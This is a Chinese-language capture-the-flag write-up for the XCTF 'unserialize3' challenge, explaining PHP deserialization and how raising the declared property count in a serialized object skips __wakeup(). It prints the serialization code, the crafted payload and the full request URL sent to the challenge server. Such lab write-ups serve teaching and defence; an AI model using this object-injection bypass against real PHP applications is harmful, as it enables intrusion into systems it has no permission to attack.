php反序列化-unserialize3

胖三斤1發表於2021-07-05

unserialize3-php反序列化

unserialize3

  • 環境地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1

  • 開啟程式碼

    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=
    

    _wakeup經常用在反序列化操作中,例如重新建立資料庫連線,或執行其他初始化操作。所以猜測被反序列化了

    但是這裡看到這裡沒有特別對哪個字串序列化,所以把xctf類例項化後,進行反序列化利用php中的new運算子,例項化類xctf

    new是申請空間的操作符,一般用於類

    比如定義了一個class a{public i=0;}

    $c = new a(); 相當於定義了一個基於a類的物件,這時候 $c->i 就是0

    (參考https://zhidao.baidu.com/question/495110936393795804.html)

    寫一段php程式碼執行(網上就有php程式碼線上執行)

    <?php
    class xctf{ //類
    public $flag = '111';//public定義flag變數公開可見
    public function __wakeup(){
    exit('bad requests');
    }
    }
    $a=new xctf();
    echo(serialize($a));
    ?>
    

    得出結果

    O:4:"xctf":1:{s:4:"flag";s:3:"111";}
    

    如果直接傳參給code會被_wakeup()函式再次序列號,所以要繞過他,利用 _wakeup函式漏洞原理:當序列化字串表示物件屬性個數的值大於真實個數的屬性時就會跳過 _wakeup的執行。

    序列化返回的字串格式

    O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>} 
    
  • O:表示序列化的是物件

  • :表示序列化的類名稱長度

  • :表示序列化的類的名稱

  • :表示被序列化的物件的屬性個數

  • <field name 1>:屬性名

  • <field value 1>:屬性值

所以要修改屬性個數,既把1改為2以上

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

傳參給code,得到flag:

http://111.200.241.244:61154/index.php?code=O:4:%22xctf%22:2:{s:4:%22flag%22;s:3:%22111%22;}

相關文章